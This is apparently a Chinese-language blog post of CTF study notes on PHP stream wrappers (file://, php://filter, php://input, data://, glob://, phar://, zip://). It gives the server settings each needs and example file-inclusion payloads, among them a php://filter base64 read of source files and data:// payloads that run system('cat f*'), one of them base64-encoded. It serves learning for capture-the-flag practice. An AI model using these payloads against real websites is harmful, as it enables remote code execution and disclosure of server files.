PHP伪协议总结
P H P 伪 协 议 总 结
平时做ctf题其中文件包含命令执行都有涉及php伪协议的东西,别人总结的总给是别人的,自己总结一波也算在学习一遍。其中还有一些伪协议没用碰到过,遇到了再添加
目录
php伪协议
file://
php://
data://
glob://
phar://
zip://
总览
file://
php://
data://
glob://
phar://
zip://
file://协议
条件:
	allow_url_fopen:off/on
    allow_url_include :off/on
作用:
    	用于读取本地文件安且不受allow_url_foopen的影响
        只能传入绝对路径(绝对不能使用相对路径 会报错)
用法:
        file://[文件的绝对路径和文件名]
php://协议
php://
条件:
    allow_url_fopen=off
    allow_url_include=off
用法:
    php://作用为访问输入输出流
php://filter
例如:
    ?id=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
说明:
    resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
    read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
    write=<写链的筛选列表>该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
        。
    <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
用法:
    php://filter/read=convert.base64-encode/resource=[文件名]
php://input
条件:
    allow_url_include=on
    当enctype=”multipart/form-data”时,php://input是无效的
用法:
    将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input
例如:
    flag=php://input
data://协议
条件:
    Allow_url_fopen:on
    Allow_url_include:on
用法:
    data://text/plain,
    data://text/plain;base64,
例如:
    ?c=data://text/plain,<?php system('cat f*');?>
    ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==             
    PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==是<?php system('cat f*');?>的base64编码
glob://协议
用法:
    -查找匹配的文件路径模式
    C = $it = new DirectoryIterator("glob://路径*.php");
    foreach($it as $f) {
	 echo$f->getFilename()."\n";
    // printf("%s: %.1FK/n", $f->getFilename(), $f->getSize()/1024);
        }exit();
phar://协议
条件:
    allow_url_fopen:off/on
    allow_url_include:off/on
作用:
    访问zip格式压缩包内容
用法:
    file=phar://[压缩报的相对路径]/xxx.zip/[子文件名]
例如:
    file=phar://c:/xxx/xxx/xxx/phpinfo.zip/phpinfo.php
zip://协议
条件:
    allow_url_fopen:off/on
    allow_url_include:off/on
作用:
    访问压缩文件中的子文件,不需要指定后缀名,可修改为任意后缀(jpg.png....)
使用:
    zip://[压缩文件绝对路径]%23[压缩文件中的子文件名]
例如:
    file=zip://C:\xxx\xxx\xxx\phpinfo.jpg%23phpinfo.php
 
                    
                
 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号